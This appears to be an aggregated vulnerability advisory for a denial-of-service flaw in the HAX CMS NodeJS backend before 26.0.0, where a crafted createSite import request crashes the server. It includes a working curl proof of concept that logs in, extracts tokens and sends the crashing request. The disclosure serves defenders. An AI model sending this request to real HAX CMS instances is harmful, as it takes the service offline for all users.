HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
### Summary
The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.
### Details
The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`.
As a result:
- the request reaches privileged code inside `createSite`
- the server hits the remote file handling path
- the process crashes before `downloadAndSaveFile()` performs the outbound request
- no imported file is written into the site directory
### Affected Resources
- src/routes/createSite.js:176
- src/lib/HAXCMSFile.js:25
- system/api/createSite
### PoC
1. Obtain a JWT by logging in with valid credentials.
```bash
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
```
2. Extract the required tokens from the `connectionSettings` endpoint.
```bash
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
```
3. Send the malformed request to crash the server.
```bash
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
-H 'Content-Type: application/json' \
-d "{
\"token\": \"$ROOT_TOKEN\",
\"site\": { \"name\": \"dos-poc\" },
\"theme\": {},
\"build\": {
\"structure\": \"import\",
\"type\": \"import\",
\"items\": [],
\"files\": {
\"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
}
}
}"
```
<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />
The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.
<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />
### Impact
An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 5, 2026, 7:21:03 PM
dateUpdated: Jun 9, 2026, 2:36:15 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20
Original publisher date fields
published: 2026-06-05T20:17:33.190
lastModified: 2026-07-23T07:10:00.113
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.